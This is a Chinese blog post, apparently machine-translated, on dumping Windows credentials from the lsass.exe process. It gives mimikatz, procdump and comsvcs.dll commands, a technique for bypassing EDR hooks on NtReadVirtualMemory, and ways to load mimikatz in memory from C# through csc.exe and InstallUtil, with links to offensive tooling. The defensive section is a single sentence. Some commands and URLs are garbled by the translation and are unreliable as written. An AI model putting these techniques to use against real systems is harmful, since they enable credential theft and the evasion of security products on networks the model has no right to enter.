发布于2022年11月8日2年前 0x00 前言 本文将结合自己的经验,介绍不同环境下lsass.exe进程派生凭证的方法,并结合利用思路给出一些防御建议。 0x01 简介 本文将介绍以下内容: 从lsass.exe进程导出证书的常用方法 限制上传文件长度时导出凭据的方法 下载文件长度限制时导出凭据的方法 0x02 从lsass.exe进程导出凭据的常用方法 1.使用mimikatz直接导出凭据 使用以下命令直接从lsass.exe进程的内存中导出凭据: mimikatz.exe日志' privilege:debug ' ' sekurlsa:logon passwords full '退出 通常这种方式会被安全产品拦截。 2.通过lsass.exe进程的dmp文件导出凭据 (1)获得lsass.exe进程的dmp文件 procdump 该命令如下所示: procdump64.exe-accept EULA-ma lsass.exe lsass . DMP 实施情况 https://github.com/killswitch-GUI/minidump-lib Powershell实现 https://github . com/powershell mafia/PowerSploit/blob/master/exfiliation/Out-minidump . PS1 # c实施 https://github.com/GhostPack/SharpDump 用comsvcs.dll。 示例参数如下: rundll32 C:\ windows \ system32 \ com SVCs . dll,MiniDump 808 C:\ test \ lsass . DMP full 注: comsvcs.dll使用的方法可以参考前面分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试。 以上方法原则上都是通过API MiniDumpWriteDump()获取进程的dmp文件 而一些安全产品已经开始拦截这种行为。拦截方法如下: 通过用户模式下的API hook,使用跳转(JMP)命令修改NtReadVirtualMemory()的前5个字节指向另一个内存地址。 绕过思路: 使用正确的命令覆盖修改后的前5个字节或重写NtReadVirtualMemory() 参考资料: https://medium . com/@ fsx 30/bypass-edrs-memory-protection-introduction-to-hooking-2 efb 21 acfd 6 开源工具: https://github.com/outflanknl/Dumpert 如果这种方法仍然失败,可以尝试用RPC控制lsass加载SSP,将dll注入到lsass.exe进程中,dll可以实现转储的功能。 用RPC控制lsass加载SSP可以参考XPN开源代码: https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 本文分析《Mimikatz中SSP的使用》 要实现通过dll转储的功能,请参考下面的代码: https://github . com/outblank nl/Dumpert/blob/master/Dumpert-DLL/outblank-Dumpert-DLL/Dumpert . c (2)从dmp文件导出凭据 成功获取lsass.exe进程的dmp文件后,您可以使用mimikatz导出凭证,命令如下: mimikatz.exe日志' sekurlsa:minidump lsass . DMP ' ' sekurlsa:logon passwords full '退出 0x03 限制上传文件长度时导出凭据的方法 如果实际测试环境限制了上传文件的长度,下面是我的解决方案:上传。cs文件,在。Net环境默认安装在测试环境中,并使用csc.exe。 为了应对不同的测试环境,所使用的代码应该支持。Net 3.5及以上。 1.使用c#实现的mimikatz直接导出凭据 Casey Smith在c#文件中实现了mimikatz的加载。目前可供参考的代码地址是: https://github . com/re4 lity/subTee-gits-backups/blob/master/peloader . cs 需要注意的是,此代码包的mimikatz版本是Mimi Katz 2.0 alpha (x64)版本“kiwi en C”(2015年8月17日00: 14: 48) 在此版本中,执行命令sekurlsa:logonpasswords时,导出的结果不完整,默认情况下不能导出哈希。 所以我在此基础上用新版本替换了mimikatz:Mimi Katz 2 . 1 . 1(x64)构建于2018年9月25日15: 08: 14 替换的方法是先对新版mimikatz.exe进行Gzip压缩,然后转换成base64编码,最后修改字符串KatzCompressed中的内容。 生成新字符串KatzCompressed内容的c#代码已经上传到github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/gzipandbase 64 . cs 它可以由csc.exe编译,并且支持。Net 3.5及以上。 代码执行后,生成的文件base64.txt中的内容将替换字符串KatzCompressed。 PELoader.cs的原始版本不支持。Net3.5,因为它使用。Add(),所以可以替换为支持。Net3.5。 最终修改后的PELoader.cs(升级mimikatz以支持Net3.5)也上传到github,地址如下: https://github . com/3g student/Homework-of-C-Sharp/blob/master/peloaderofmimikatz . cs 它可以由csc.exe编译,并且支持。Net 3.5及以上。 编译命令: C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe peloaderofmimikatz . cs/unsafe 或者 C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe peloaderofmimikatz . cs/unsafe 用于导出凭据的命令: PELoaderofMimikatz.exe日志' privilege:debug ' ' sekurlsa:logon passwords full '退出 注: 简单修改后,要执行的命令提前传入程序。您可以使用InstallUtil.exe导出凭据。该命令如下所示: C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ installutil . exe/log file=/logto console=false/U PELoaderofMimikatzAuto.exe 通过这种方式。cs文件可以上传到目标测试环境,然后使用。Net提供的目标测试环境。 2.使用c#实现的代码获得lsass.exe进程的dmp文件 类似的开源代码还有很多,我在SafetyKatz的基础上做了简单的修改。 修改后的代码已上传至github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/dump lsass . cs 它可以由csc.exe编译,并且支持。Net 3.5及以上。 代码执行后,在当前路径下生成lsass.exe过程的dmp文件。 获得dmp文件后,您可以在本地下载它,然后使用mimikatz导出凭证。 0x04 限制下载文件长度时导出凭据的方法 如果实际测试环境限制了下载文件的长度(有时lsass.exe过程的dmp文件压缩后有几百MB) 这里最简单的解决方案是重新封装mimikatz(删除不必要的函数以避免被杀死),并在目标测试环境中从lsass.exe过程的dmp文件中导出凭证。 您可以在以下地址查阅SafetyKatz: https://github.com/GhostPack/SafetyKatz SafetyKatz对mimikatz进行了两次修改,并封装在一个字符串中,参考了Casey Smith在c#文件中加载mimikatz的方法,实现了以下功能: 获取lsass.exe进程的dmp文件并保存到临时目录。 从dmp文件导出凭据 删除dmp文件 我们可以在SafetyKatz的源代码中添加以下代码来恢复封装的exe FileStream fs=new FileStream(@ ' C:\ test \ 1 . exe ',FileMode。创建); fs。写(解包,0,解包。长度); fs。flush(); fs。close(); 可以看到封装的exe是修改后的mimikatz,默认会执行一些命令,如下图所示。 我对SafetyKatz的代码做了一个简单的调整,使其支持。Net 3.5及更高版本。 修改后的代码已上传至github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/safety Katz . cs 编译命令: C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe safety Katz . cs/unsafe 或者 C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe safety Katz . cs/unsafe 0x05 防御检测 利用的前提是攻击者获得了系统的管理员权限,lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),你可以试着监听一下。 0x06 小结 本文介绍了lsass.exe进程在不同环境下导出凭证的方法,并基于利用思路给出了一些防御建议。 留下回复
创建帐户或登录后发表意见